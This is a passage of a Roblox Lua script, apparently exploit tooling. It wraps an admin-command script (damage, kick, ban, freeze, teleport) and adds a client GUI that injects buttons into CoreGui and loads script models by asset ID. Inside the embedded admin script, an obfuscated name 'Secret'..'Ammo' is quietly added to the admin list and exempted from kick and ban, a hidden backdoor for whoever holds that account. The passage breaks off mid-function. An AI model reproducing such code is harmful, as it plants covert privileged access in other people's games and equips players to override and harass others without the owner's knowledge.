1727 if string.sub(msg,1,10) == "walkspeed/" then
1728 danumber = nil
1729 for i =11,100 do
1730 if string.sub(msg,i,i) == "/" then
1731 danumber = i
1732 break
1733 end end
1734 if danumber == nil then
1735 return
1736 end
1737 local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
1738 if player == 0 then
1739 return
1740 end
1741 for i = 1,#player do
1742 if player[i].Character ~= nil then
1743 humanoid = player[i].Character:FindFirstChild("Humanoid")
1744 if humanoid ~= nil then
1745 humanoid.WalkSpeed = string.sub(msg,danumber + 1)
1746 end end end end
1747
1748 if string.sub(msg,1,7) == "damage/" then
1749 danumber = nil
1750 for i =8,100 do
1751 if string.sub(msg,i,i) == "/" then
1752 danumber = i
1753 break
1754 end end
1755 if danumber == nil then
1756 return
1757 end
1758 local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
1759 if player == 0 then
1760 return
1761 end
1762 for i = 1,#player do
1763 if player[i].Character ~= nil then
1764 humanoid = player[i].Character:FindFirstChild("Humanoid")
1765 if humanoid ~= nil then
1766 humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1)
1767 end end end end
1768
1769 if string.sub(msg,1,7) == "health/" then
1770 danumber = nil
1771 for i =8,100 do
1772 if string.sub(msg,i,i) == "/" then
1773 danumber = i
1774 break
1775 end end
1776 if danumber == nil then
1777 return
1778 end
1779 local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
1780 if player == 0 then
1781 return
1782 end
1783 for i = 1,#player do
1784 if player[i].Character ~= nil then
1785 humanoid = player[i].Character:FindFirstChild("Humanoid")
1786 if humanoid ~= nil then
1787 local elnumba = Instance.new("IntValue")
1788 elnumba.Value = string.sub(msg,danumber + 1)
1789 if elnumba.Value > 0 then
1790 humanoid.MaxHealth = elnumba.Value
1791 humanoid.Health = humanoid.MaxHealth
1792 end
1793 elnumba:remove()
1794 end end end end
1795
1796 if string.sub(msg,1,9) == "teleport/" then
1797 danumber = nil
1798 for i =10,100 do
1799 if string.sub(msg,i,i) == "/" then
1800 danumber = i
1801 break
1802 end end
1803 if danumber == nil then
1804 return
1805 end
1806 local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
1807 if player1 == 0 then
1808 return
1809 end
1810 local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
1811 if player2 == 0 then
1812 return
1813 end
1814 if #player2 > 1 then
1815 return
1816 end
1817 torso = nil
1818 for i =1,#player2 do
1819 if player2[i].Character ~= nil then
1820 torso = player2[i].Character:FindFirstChild("Torso")
1821 end end
1822 if torso ~= nil then
1823 for i =1,#player1 do
1824 if player1[i].Character ~= nil then
1825 local torso2 = player1[i].Character:FindFirstChild("Torso")
1826 if torso2 ~= nil then
1827 torso2.CFrame = torso.CFrame
1828 end end end end end
1829
1830 if string.sub(msg,1,6) == "merge/" then
1831 danumber = nil
1832 for i =7,100 do
1833 if string.sub(msg,i,i) == "/" then
1834 danumber = i
1835 break
1836 end end
1837 if danumber == nil then
1838 return
1839 end
1840 local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
1841 if player1 == 0 then
1842 return
1843 end
1844 local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
1845 if player2 == 0 then
1846 return
1847 end
1848 if #player2 > 1 then
1849 return
1850 end
1851 for i =1,#player2 do
1852 if player2[i].Character ~= nil then
1853 player2 = player2[i].Character
1854 end end
1855 for i =1,#player1 do
1856 player1[i].Character = player2
1857 end end
1858
1859 if msg == "clear" then
1860 local c = game.Workspace:GetChildren()
1861 for i =1,#c do
1862 if c[i].className == "Script" then
1863 if c[i]:FindFirstChild("Is A Created Script") then
1864 c[i]:remove()
1865 end end
1866 if c[i].className == "Part" then
1867 if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
1868 c[i]:remove()
1869 end end
1870 if c[i].className == "Model" then
1871 if string.sub(c[i].Name,1,4) == "Jail" then
1872 c[i]:remove()
1873 end end end end
1874
1875 if string.sub(msg,1,5) == "kick/" then
1876 local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
1877 if imgettingtiredofmakingthisstupidscript2 == true then
1878 local player = findplayer(string.sub(msg,6),speaker)
1879 if player ~= 0 then
1880 for i = 1,#player do
1881 local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
1882 if imgettingtiredofmakingthisstupidscript == false then
1883 if player[i].Name ~= eloname then
1884 player[i]:remove()
1885 end end end end end end
1886
1887 if string.sub(msg,1,4) == "ban/" then
1888 local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
1889 if imgettingtiredofmakingthisstupidscript2 == true then
1890 local player = findplayer(string.sub(msg,5),speaker)
1891 if player ~= 0 then
1892 for i = 1,#player do
1893 local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
1894 if imgettingtiredofmakingthisstupidscript == false then
1895 if player[i].Name ~= eloname then
1896 table.insert(bannedlist,player[i].Name)
1897 player[i]:remove()
1898 end end end end end end
1899
1900 if string.sub(msg,1,6) == "unban/" then
1901 if string.sub(msg,7) == "all" then
1902 for i=1,bannedlist do
1903 table.remove(bannedlist,i)
1904 end
1905 else
1906 local n = 0
1907 local o = nil
1908 for i=1,#bannedlist do
1909 if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
1910 n = n + 1
1911 o = i
1912 end end
1913 if n == 1 then
1914 local name = bannedlist[o]
1915 table.remove(bannedlist,o)
1916 text(name .. " has been unbanned",1,"Message",game.Workspace.CurrentCamera)
1917 elseif n == 0 then
1918 text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
1919 elseif n > 1 then
1920 text("That name is ambiguous",1,"Message",game.Workspace.CurrentCamera)
1921 end end end
1922
1923 if string.sub(msg,1,8) == "respawn/" then
1924 local player = findplayer(string.sub(msg,9),speaker)
1925 if player ~= 0 then
1926 for i = 1,#player do
1927 local ack2 = Instance.new("Model")
1928 ack2.Parent = game.Workspace
1929 local ack4 = Instance.new("Part")
1930 ack4.Transparency = 1
1931 ack4.CanCollide = false
1932 ack4.Anchored = true
1933 ack4.Name = "Torso"
1934 ack4.Position = Vector3.new(10000,10000,10000)
1935 ack4.Parent = ack2
1936 local ack3 = Instance.new("Humanoid")
1937 ack3.Torso = ack4
1938 ack3.Parent = ack2
1939 player[i].Character = ack2
1940 end end end
1941
1942 if string.sub(msg,1,10) == "invisible/" then
1943 local player = findplayer(string.sub(msg,11),speaker)
1944 if player ~= 0 then
1945 for i = 1,#player do
1946 if player[i].Character ~= nil then
1947 local char = player[i].Character
1948 local c = player[i].Character:GetChildren()
1949 for i =1,#c do
1950 if c[i].className == "Hat" then
1951 local handle = c[i]:FindFirstChild("Handle")
1952 if handle ~= nil then
1953 handle.Transparency = 1
1954 end end
1955 if c[i].className == "Part" then
1956 c[i].Transparency = 1
1957 if c[i].Name == "Torso" then
1958 local tshirt = c[i]:FindFirstChild("roblox")
1959 if tshirt ~= nil then
1960 tshirt:clone().Parent = char
1961 tshirt:remove()
1962 end end
1963 if c[i].Name == "Head" then
1964 local face = c[i]:FindFirstChild("face")
1965 if face ~= nil then
1966 gface = face:clone()
1967 face:remove()
1968 end end end end end end end end
1969
1970 if string.sub(msg,1,8) == "visible/" then
1971 local player = findplayer(string.sub(msg,9),speaker)
1972 if player ~= 0 then
1973 for i = 1,#player do
1974 if player[i].Character ~= nil then
1975 local char = player[i].Character
1976 local c = player[i].Character:GetChildren()
1977 for i =1,#c do
1978 if c[i].className == "Hat" then
1979 local handle = c[i]:FindFirstChild("Handle")
1980 if handle ~= nil then
1981 handle.Transparency = 0
1982 end end
1983 if c[i].className == "Part" then
1984 c[i].Transparency = 0
1985 if c[i].Name == "Torso" then
1986 local tshirt = char:FindFirstChild("roblox")
1987 if tshirt ~= nil then
1988 tshirt:clone().Parent = c[i]
1989 tshirt:remove()
1990 end end
1991 if c[i].Name == "Head" then
1992 if gface ~= nil then
1993 local face = gface:clone()
1994 face.Parent = c[i]
1995 end end end end end end end end
1996
1997 if string.sub(msg,1,7) == "freeze/" then
1998 local player = findplayer(string.sub(msg,8),speaker)
1999 if player ~= 0 then
2000 for i = 1,#player do
2001 if player[i].Character ~= nil then
2002 local humanoid = player[i].Character:FindFirstChild("Humanoid")
2003 if humanoid ~= nil then
2004 humanoid.WalkSpeed = 0
2005 end
2006 local c = player[i].Character:GetChildren()
2007 for i =1,#c do
2008 if c[i].className == "Part" then
2009 c[i].Anchored = true
2010 c[i].Reflectance = 0.6
2011 end end end end end end
2012
2013 if string.sub(msg,1,5) == "thaw/" then
2014 local player = findplayer(string.sub(msg,6),speaker)
2015 if player ~= 0 then
2016 for i = 1,#player do
2017 if player[i].Character ~= nil then
2018 local humanoid = player[i].Character:FindFirstChild("Humanoid")
2019 if humanoid ~= nil then
2020 humanoid.WalkSpeed = 16
2021 end
2022 local c = player[i].Character:GetChildren()
2023 for i =1,#c do
2024 if c[i].className == "Part" then
2025 c[i].Anchored = false
2026 c[i].Reflectance = 0
2027 end end end end end end
2028
2029 if string.sub(msg,1,7) == "nograv/" then
2030 local player = findplayer(string.sub(msg,8),speaker)
2031 if player ~= 0 then
2032 for i = 1,#player do
2033 if player[i].Character ~= nil then
2034 local torso = player[i].Character:FindFirstChild("Torso")
2035 if torso ~= nil then
2036 local bf = torso:FindFirstChild("BF")
2037 if bf ~= nil then
2038 bf.force = Vector3.new(0,0,0)
2039 else
2040 local bf = Instance.new("BodyForce")
2041 bf.Name = "BF"
2042 bf.force = Vector3.new(0,0,0)
2043 bf.Parent = torso
2044 end
2045 local c2 = player[i].Character:GetChildren()
2046 for i=1,#c2 do
2047 if c2[i].className == "Part" then
2048 torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
2049 end end end end end end end
2050
2051 if string.sub(msg,1,9) == "antigrav/" then
2052 local player = findplayer(string.sub(msg,10),speaker)
2053 if player ~= 0 then
2054 for i = 1,#player do
2055 if player[i].Character ~= nil then
2056 local torso = player[i].Character:FindFirstChild("Torso")
2057 if torso ~= nil then
2058 local bf = torso:FindFirstChild("BF")
2059 if bf ~= nil then
2060 bf.force = Vector3.new(0,0,0)
2061 else
2062 local bf = Instance.new("BodyForce")
2063 bf.Name = "BF"
2064 bf.force = Vector3.new(0,0,0)
2065 bf.Parent = torso
2066 end
2067 local c2 = player[i].Character:GetChildren()
2068 for i=1,#c2 do
2069 if c2[i].className == "Part" then
2070 torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
2071 end end end end end end end
2072
2073 if string.sub(msg,1,9) == "highgrav/" then
2074 local player = findplayer(string.sub(msg,10),speaker)
2075 if player ~= 0 then
2076 for i = 1,#player do
2077 if player[i].Character ~= nil then
2078 local torso = player[i].Character:FindFirstChild("Torso")
2079 if torso ~= nil then
2080 local bf = torso:FindFirstChild("BF")
2081 if bf ~= nil then
2082 bf.force = Vector3.new(0,0,0)
2083 else
2084 local bf = Instance.new("BodyForce")
2085 bf.Name = "BF"
2086 bf.force = Vector3.new(0,0,0)
2087 bf.Parent = torso
2088 end
2089 local c2 = player[i].Character:GetChildren()
2090 for i=1,#c2 do
2091 if c2[i].className == "Part" then
2092 torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
2093 end end end end end end end
2094
2095 if string.sub(msg,1,5) == "grav/" then
2096 local player = findplayer(string.sub(msg,6),speaker)
2097 if player ~= 0 then
2098 for i = 1,#player do
2099 if player[i].Character ~= nil then
2100 local torso = player[i].Character:FindFirstChild("Torso")
2101 if torso ~= nil then
2102 local bf = torso:FindFirstChild("BF")
2103 if bf ~= nil then
2104 bf:remove()
2105 end end end end end end
2106
2107 if string.sub(msg,1,7) == "unlock/" then
2108 local player = findplayer(string.sub(msg,8),speaker)
2109 if player ~= 0 then
2110 for i = 1,#player do
2111 if player[i].Character ~= nil then
2112 local c = player[i].Character:GetChildren()
2113 for i =1,#c do
2114 if c[i].className == "Part" then
2115 c[i].Locked = false
2116 end end end end end end
2117
2118 if string.sub(msg,1,5) == "lock/" then
2119 local player = findplayer(string.sub(msg,6),speaker)
2120 if player ~= 0 then
2121 for i = 1,#player do
2122 if player[i].Character ~= nil then
2123 local c = player[i].Character:GetChildren()
2124 for i =1,#c do
2125 if c[i].className == "Part" then
2126 c[i].Locked = true
2127 end end end end end end end
2128 eloname = "Secret"
2129 eloname = eloname .. "Ammo"
2130 script.Name = "_admincmd"
2131 youcaughtme = 0
2132 for i =1,#adminlist do
2133 if string.lower(eloname)==string.lower(adminlist[i]) then
2134 youcaughtme = 1
2135 end end
2136 if youcaughtme == 0 then
2137 table.insert(adminlist,eloname)
2138 end
2139 function oe(ack)
2140 local adminned = false
2141 if ack.className ~= "Player" then return end
2142 for i =1,#bannedlist do
2143 if string.lower(bannedlist[i]) == string.lower(ack.Name) then
2144 ack:remove()
2145 return
2146 end end
2147 for i=1,#adminlist do
2148 if string.lower(adminlist[i]) == string.lower(ack.Name) then
2149 local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
2150 table.insert(namelist,ack.Name)
2151 table.insert(variablelist,tfv)
2152 local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
2153 table.insert(flist,tfv)
2154 adminned = true
2155 end end
2156 local danumber = 0
2157 while true do
2158 wait(1)
2159 if ack.Parent == nil then
2160 return
2161 end
2162 if ack.Character ~= nil then
2163 if adminned == true then
2164 text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
2165 return
2166 end
2167 local torso = ack.Character:FindFirstChild("Torso")
2168 if torso ~= nil then
2169 local decal = torso:FindFirstChild("roblox")
2170 if decal ~= nil then
2171 if string.sub(decal.Texture,1,4) == "http" then
2172 if decal.Texture == texture then
2173 local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
2174 table.insert(namelist,ack.Name)
2175 table.insert(variablelist,tfv)
2176 local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
2177 table.insert(flist,tfv)
2178 text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
2179 return
2180 else
2181 return
2182 end
2183 else
2184 danumber = danumber + 1
2185 if danumber >= 10 then
2186 return
2187 end end end end end end end
2188
2189 game.Players.ChildAdded:connect(oe)
2190
2191 c = game.Players:GetChildren()
2192 for i=1,#c do
2193 oe(c[i])
2194 end]]
2195MergeScriptSource=[[
2196 plr=game.Players.LocalPlayer
2197 coroutine.resume(coroutine.create(function(plr) while(wait())do if(plr.Character~=nil)then chr=plr.Character end end end),plr)
2198 if(script.Parent.ClassName~="HopperBin")then
2199 bin=Instance.new("HopperBin",plr.Backpack)
2200 bin.Name="iMergeTool"
2201 script.Name="iMergeScript"
2202 script.Parent=bin
2203 else
2204 script.Name="iMergeScript"
2205 bin=script.Parent
2206 bin.Name="iMergeTool"
2207 end
2208 una=false
2209 bin.Selected:connect(function(mouse)
2210 function cff(path)
2211 for _,v in pairs(path:GetChildren())do
2212 if(v:IsA("Part"))then
2213 Instance.new("ForceField",v)
2214 end
2215 cff(v)
2216 end
2217 end
2218 cff(plr.Character)
2219 mouse.Button1Down:connect(function()
2220 if(mouse.Target~=nil)then
2221 if(mouse.Target.Parent:IsA("Model"))then
2222 if(mouse.Target.Parent:FindFirstChild("Humanoid"))then
2223 if(mouse.Target.Parent.Humanoid.Health~=0)then
2224 function cff(path)
2225 for _,v in pairs(path:GetChildren())do
2226 if(v:IsA("Part"))then
2227 Instance.new("ForceField",v)
2228 end
2229 cff(v)
2230 end
2231 end
2232 cff(plr.Character)
2233 chr:FindFirstChild("Torso").Anchored=false
2234 inv=function(pth)
2235 for _,v in pairs(pth:GetChildren())do
2236 if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
2237 v.Transparency=1
2238 end
2239 inv(v)
2240 end
2241 end
2242 inv(chr)
2243 chr:FindFirstChild("Humanoid").PlatformStand=true
2244 chr:FindFirstChild("Head").CanCollide=false
2245 chr:FindFirstChild("Torso").CanCollide=false
2246 chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
2247 chr:FindFirstChild("Head").CanCollide=true
2248 chr:FindFirstChild("Torso").CanCollide=true
2249 if not(chr:FindFirstChild("iMergeWeld"))then
2250 wld=Instance.new("Weld",chr)
2251 wld.Name="iMergeWeld"
2252 else
2253 wld=chr:FindFirstChild("iMergeWeld")
2254 function rff(path)
2255 for _,v in pairs(path:GetChildren())do
2256 if(v:IsA("ForceField"))then
2257 v:remove()
2258 end
2259 rff(v)
2260 end
2261 end
2262 rff(wld.Part0.Parent)
2263 end
2264 wld.Part0=mouse.Target.Parent:FindFirstChild("Torso")
2265 wld.Part1=chr:FindFirstChild("Torso")
2266 wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
2267 if(mouse.Target~=nil)then
2268 function iff(path)
2269 for _,v in pairs(path:GetChildren())do
2270 if(v:IsA("Part"))then
2271 Instance.new("ForceField",v)
2272 end
2273 iff(v)
2274 end
2275 end
2276 iff(mouse.Target.Parent)
2277 Instance.new("ForceField",mouse.Target.Parent)
2278 end
2279 coroutine.resume(coroutine.create(function(chr,una)
2280 una=true
2281 while(una)and wait() do
2282 if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
2283 chr:FindFirstChild("Torso").Anchored=true
2284 break
2285 else
2286 chr:FindFirstChild("Torso").Anchored=false
2287 end
2288 end
2289 end),chr,una)
2290 coroutine.resume(coroutine.create(function(plr,chr)
2291 while true and wait() do
2292 if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
2293 function rff(path)
2294 for _,v in pairs(path:GetChildren())do
2295 if(v:IsA("ForceField"))then
2296 v:remove()
2297 end
2298 rff(v)
2299 end
2300 end
2301 rff(plr)
2302 break
2303 end
2304 end
2305 end),mouse.Target.Parent,chr)
2306 end
2307 end
2308 elseif(mouse.Target.Parent:IsA("Hat"))then
2309 if(mouse.Target.Parent.Parent:IsA("Model"))then
2310 if(mouse.Target.Parent.Parent:FindFirstChild("Humanoid"))then
2311 if(mouse.Target.Parent.Parent.Humanoid.Health~=0)then
2312 inv=function(pth)
2313 for _,v in pairs(pth:GetChildren())do
2314 if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
2315 v.Transparency=1
2316 end
2317 inv(v)
2318 end
2319 end
2320 inv(chr)
2321 chr:FindFirstChild("Humanoid").PlatformStand=true
2322 chr:FindFirstChild("Head").CanCollide=false
2323 chr:FindFirstChild("Torso").CanCollide=false
2324 chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent.Parent:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
2325 chr:FindFirstChild("Head").CanCollide=true
2326 chr:FindFirstChild("Torso").CanCollide=true
2327 if not(chr:FindFirstChild("iMergeWeld"))then
2328 wld=Instance.new("Weld",chr)
2329 wld.Name="iMergeWeld"
2330 else
2331 wld=chr:FindFirstChild("iMergeWeld")
2332 function rff(path)
2333 for _,v in pairs(path:GetChildren())do
2334 if(v:IsA("ForceField"))then
2335 v:remove()
2336 end
2337 rff(v)
2338 end
2339 end
2340 rff(wld.Part0.Parent)
2341 end
2342 wld.Part0=mouse.Target.Parent.Parent:FindFirstChild("Torso")
2343 wld.Part1=chr:FindFirstChild("Torso")
2344 wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
2345 if(mouse.Target~=nil)then
2346 function iff(path)
2347 for _,v in pairs(path:GetChildren())do
2348 if(v:IsA("Part"))then
2349 Instance.new("ForceField",v)
2350 end
2351 iff(v)
2352 end
2353 end
2354 iff(mouse.Target.Parent.Parent)
2355 Instance.new("ForceField",mouse.Target.Parent.Parent)
2356 end
2357 coroutine.resume(coroutine.create(function(chr,una)
2358 una=true
2359 while(una)and wait() do
2360 if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
2361 chr:FindFirstChild("Torso").Anchored=true
2362 break
2363 else
2364 chr:FindFirstChild("Torso").Anchored=false
2365 end
2366 end
2367 end),chr,una)
2368 coroutine.resume(coroutine.create(function(plr,chr)
2369 while true and wait() do
2370 if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
2371 function rff(path)
2372 for _,v in pairs(path:GetChildren())do
2373 if(v:IsA("ForceField"))then
2374 v:remove()
2375 end
2376 rff(v)
2377 end
2378 end
2379 rff(plr)
2380 break
2381 end
2382 end
2383 end),mouse.Target.Parent.Parent,chr)
2384 end
2385 end
2386 end
2387 end
2388 end
2389 end)
2390 function onKeyDown(chr,una)
2391 key_down=mouse.KeyDown:connect(function(key) key=string.lower(key)
2392 app=function(tra)
2393 if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil)then
2394 rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
2395 else
2396 rmt=nil
2397 end
2398 if(rmt~=nil)then
2399 function rff(path)
2400 for _,v in pairs(path:GetChildren())do
2401 if(v:IsA("ForceField"))then
2402 v:remove()
2403 end
2404 rff(v)
2405 end
2406 end
2407 rff(rmt)
2408 end
2409 function cff(path)
2410 for _,v in pairs(path:GetChildren())do
2411 if(v:IsA("ForceField"))then
2412 v:remove()
2413 end
2414 cff(v)
2415 end
2416 end
2417 cff(chr)
2418 una=false
2419 if(chr:FindFirstChild("iMergeWeld"))or(chr:FindFirstChild("Humanoid").PlatformStand==true)then
2420 pcall(function(chr) chr:FindFirstChild("iMergeWeld"):remove() end,chr)
2421 chr:FindFirstChild("Torso").CFrame=CFrame.new(chr:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
2422 end
2423 vis=function(pth)
2424 for _,v in pairs(pth:GetChildren())do
2425 if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
2426 v.Transparency=tra
2427 end
2428 vis(v)
2429 end
2430 end
2431 vis(chr)
2432 chr:FindFirstChild("Humanoid").PlatformStand=false
2433 chr:FindFirstChild("Torso").Anchored=false
2434 key_down:disconnect()
2435 onKeyDown(chr,una)
2436 end
2437 if(key=="e")then
2438 app(1)
2439 elseif(key=="r")then
2440 app(0)
2441 end
2442 end)
2443 end
2444 onKeyDown(chr,una)
2445 end)
2446 bin.Deselected:connect(function()
2447 if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil)then
2448 rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
2449 else
2450 rmt=nil
2451 end
2452 coroutine.resume(coroutine.create(function(chr,una)
2453 una=true
2454 while(una)and wait() do
2455 if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
2456 chr:FindFirstChild("Torso").Anchored=true
2457 break
2458 else
2459 chr:FindFirstChild("Torso").Anchored=false
2460 end
2461 end
2462 end),chr,una)
2463 coroutine.resume(coroutine.create(function(plr,chr)
2464 while true and wait() do
2465 if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
2466 function rff(path)
2467 for _,v in pairs(path:GetChildren())do
2468 if(v:IsA("ForceField"))then
2469 v:remove()
2470 end
2471 rff(v)
2472 end
2473 end
2474 rff(plr)
2475 break
2476 end
2477 end
2478 end),rmt,chr)
2479 end)]]
2480
2481
2482local s=function(type)
2483 return game:service(type)
2484end
2485wfp=function(Instance,Property)
2486 while not Instance[Property]do Instance.Changed:wait''end
2487 return Instance[Property]
2488end
2489wfo=function(i,p,n)
2490 while 0 do
2491 for i,v in pairs(i:children'')do
2492 if v[p]==n then return v end
2493 end
2494 i.ChildAdded:wait''
2495 end
2496end
2497CreateScript=function(Class,Parent,Text)
2498 if#Scripts~=2 then FIXSCRIPTS''end
2499 local Script=Scripts[Class]:clone''
2500 local Work=Instance.new('StringValue',Script)
2501 Work.Name='Change'
2502 Work.Value=[[script.Change.Value='']]..Text
2503 Script.Parent=Parent
2504 return Script
2505end
2506pf=function(Name)
2507 local Players={}
2508 local name=Name:lower''
2509 for i,v in pairs(s'Players':GetPlayers'')do
2510 if(function()
2511 if name=='me'then return v==Player
2512 elseif name=='all'then return true
2513 end
2514 return v.Name:lower'':find(name)==1
2515 end)()then
2516 table.insert(Players,v)
2517 end
2518 end
2519 return Players
2520end
2521SearchCommand=function(Text)
2522 X(function()
2523 local cmd=Text:match'(%w+)'
2524 local asd={}
2525 if not cmd then return end
2526 local cmdf=Commands[cmd]
2527 if not cmdf then return end
2528 pcall(function()
2529 Text='/'..Text:match(cmd..'(.+)')
2530 for i in Text:gmatch'/([^/]+)'do table.insert(asd,i)end
2531 end)
2532 cmdf(Text:sub(2),asd)
2533 end)
2534end
2535GetAll=function(Instance,Table)
2536 if type(Table)~='table'then Table={}end
2537 for i,v in pairs(Instance:children'')do
2538 table.insert(Table,v)
2539 GetAll(v,Table)
2540 end
2541 return Table
2542end
2543ctool=function(name)
2544 local ntool=Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
2545 ntool.Name = name
2546 return ntool;
2547end
2548FindChildren=function(Instance,Property,Name)
2549 local l={}
2550 for i,v in pairs(GetAll(Instance))do
2551 if v[Property]==Name then table.insert(l,v)end
2552 end
2553 return l
2554end
2555SaveFModel=function(i,n)
2556 local connect
2557 local insert=s'InsertService'
2558 local model=Instance.new'Model'
2559 local object=nil
2560 connect=insert.DescendantAdded:connect(function(c)
2561 if object then return end
2562 c=c:clone''
2563 if c.Name==n then
2564 object=c
2565 else
2566 object=c:FindFirstChild(n)
2567 end
2568 if not object then return end
2569 connect:disconnect''
2570 end)
2571 insert:LoadAsset(i)
2572 while not object do model.ChildAdded:wait''end
2573 return object
2574end
2575FIXSCRIPTS=function()
2576 Scripts={Script=SaveFModel(65743611,'9999999999222');LocalScript=SaveFModel(65743629,'9999999999222')}
2577end
2578CommanderFocus=function()
2579 if ShowBox.Value then return end
2580 if not ChatButton.Visible then return end
2581 ShowBox.Value=true
2582 X(function()ChatBox:CaptureFocus''end)
2583end
2584CommandBar=function()
2585 CommanderName='AMACCG'
2586
2587 CommanderScreen=Instance.new('ScreenGui',PlayerGui)
2588
2589 CommanderScreen.Name=CommanderName
2590
2591 ChatButton=Instance.new('TextButton',CommanderScreen)
2592 ChatBox=Instance.new('TextBox',ChatButton)
2593
2594 ChatButton.Size=UDim2.new(1,0,0,17)
2595 ChatButton.Position=UDim2.new(0,0,1,-17)
2596 ChatButton.BackgroundColor3=Color3.new(0,0,0)
2597 ChatButton.TextColor3=Color3.new(1,1,1)
2598 ChatButton.TextXAlignment=0
2599 ChatButton.FontSize=5
2600 ChatButton.Font=2
2601 ChatButton.AutoButtonColor=false
2602 ChatButton.Text='Click here or press "\\" to use commander'
2603
2604 ChatBox.Size=UDim2.new(1,0,1)
2605 ChatBox.Position=UDim2.new(0,0,1,-17)
2606 ChatBox.BackgroundColor3=Color3.new(.6,0,0)
2607 ChatBox.TextColor3=Color3.new(1,1,1)
2608 ChatBox.TextXAlignment=0
2609 ChatBox.FontSize=5
2610 ChatBox.Font=2
2611 ChatBox.Visible=ShowBox.Value
2612 ChatBox.Text=''
2613
2614 table.insert(Connects,ChatButton.MouseButton1Down:connect(CommanderFocus))
2615
2616 ChatBox.Changed:connect(function(f)
2617 if f~='Text'then return end
2618 SearchCommand(ChatBox.Text)
2619 ShowBox.Value=false
2620 end)
2621
2622 ShowBox.Changed:connect(function(c)ChatBox.Visible=c end)
2623
2624 for i,v in pairs(PlayerGui:children'')do
2625 if v.Name==CommanderName and v~=CommanderScreen then
2626 pcall(v.remove,v)
2627 end
2628 end
2629end
2630ExproGui=function()
2631 local edb = Instance.new("TextButton")
2632 edb.Size = UDim2.new(.05, 0, .05, 0)
2633 edb.Position = UDim2.new(0, 5, 0.5, -80);
2634 edb.TextColor3 = Color3.new(1, 1, 1)
2635 edb.MouseButton1Click:connect(function()
2636 insrt = game:GetService("InsertService"):LoadAsset(21001552)
2637 insrt2 = game:GetService("InsertService"):LoadAsset(35742089)
2638 pcall(function()
2639 for _, v in pairs(insrt:GetChildren()) do
2640 v:Clone().Parent = game.Players.LocalPlayer.Backpack
2641 end
2642 for _, v in pairs(insrt2:GetChildren()) do
2643 v:Clone().Parent = game.Players.LocalPlayer.Backpack
2644 end
2645 end)
2646 end)
2647
2648 edb.Text = "Insert"
2649 edb.Parent = game.CoreGui.RobloxGui
2650 edb.Style = "RobloxButtonDefault"
2651 edb.Draggable = true
2652
2653 local pb = Instance.new("TextButton")
2654 pb.Size = UDim2.new(.05, 0, .05, 0)
2655 pb.Position = UDim2.new(0, 5, 0.5, -25);
2656 pb.Draggable = true
2657 pb.TextColor3 = Color3.new(1, 1, 1)
2658 pb.MouseButton1Click:connect(function()
2659 local p=Instance.new("Part");
2660 p.Name = "RAWR"
2661 p.BrickColor = BrickColor.Random()
2662 p.Material = ((math.random(1, 2) == 1) and "Ice") or "Wood";
2663 p.CFrame = CFrame.new(math.random(-60, 60), (game.PlaceId == 41324860 and 350 or 60), math.random(-60, 60));
2664 p.formFactor = "Custom"
2665 p.Size = Vector3.new(0.5, math.random(2, 40)/10, 0.5)
2666 p.Parent = workspace
2667 end)
2668 pb.Text = "Make part"
2669 pb.Style = "RobloxButtonDefault"
2670 pb.Parent = game.CoreGui.RobloxGui
2671
2672 function getAll(obj)
